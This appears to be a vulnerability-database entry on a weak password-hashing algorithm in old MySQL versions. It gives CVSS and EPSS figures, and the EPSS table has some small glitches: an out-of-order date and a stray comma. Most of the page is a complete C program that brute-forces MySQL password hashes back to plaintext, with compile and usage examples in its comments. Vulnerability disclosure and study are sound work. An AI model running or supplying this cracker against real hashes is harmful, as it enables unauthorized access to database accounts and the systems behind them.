CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
MySQL 3.20 through 4.1.0 uses a weak algorithm for hashed passwords, which makes it easier for attackers to decrypt the password via brute force methods.
Category : Cryptographic Issues Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.3
AV:N/AC:M/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
6.17%
–
–
2022-04-03
–
–
6.17%
–
–
2023-02-26
–
–
6.17%
–
–
2023-03-12
–
–
–
0.19%
–
2023-03-19
–
–
–
0.19%
–
2023-05-07
–
–
–
0.17%
–
2023-06-04
–
–
–
0.17%
–
2023-08-20
–
–
–
0.18%
–
2023-10-22
–
–
–
0.18%
–
2024-02-11
–
–
–
1.79%
–
2024-03-17
–
–
–
2.25%
–
2024-04-14
–
–
–
2.73%
–
2024-06-02
–
–
–
3.22%
–
2024-07-28
–
–
–
4.06%
–
2024-09-22
–
–
–
0.17%
–
2024-12-15
–
–
–
0.17%
–
2024-12-22
–
–
–
0.34%
–
2025-02-16
–
–
–
0.34%
–
2025-01-19
–
–
–
0.34%
–
2025-02-16
–
–
–
0.34%
–
2025-03-18
–
–
–
–
18.46%
2025-03-30
–
–
–
–
16.14%
2025-03-30
–
–
–
–
16.14,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/7500/info
MySQL has been reported to implement a weak password encryption algorithm. It has been reported that the MySQL function used to encrypt MySQL passwords makes just one pass over the password and employs a weak left shift based cipher. The hash may be cracked in little time using a bruteforce method.
An attacker may use information recovered in this way to aid in further attacks launched against the underlying system.
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/
#include <stdio.h>
typedef unsigned long u32;
/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126
/* Maximum length of password */
#define MAX_LEN 12
#define MASK 0x7fffffffL
int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;
while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;
for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;
newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;
div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;
pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}
while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
return 0;
}
void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];
if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %s\n", hash);
return;
}
printf("Hash: %08lx%08lx\n", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('\n');
break;
}
}
if (len > MAX_LEN)
printf("Pass not found\n");
}
int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hash\n", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}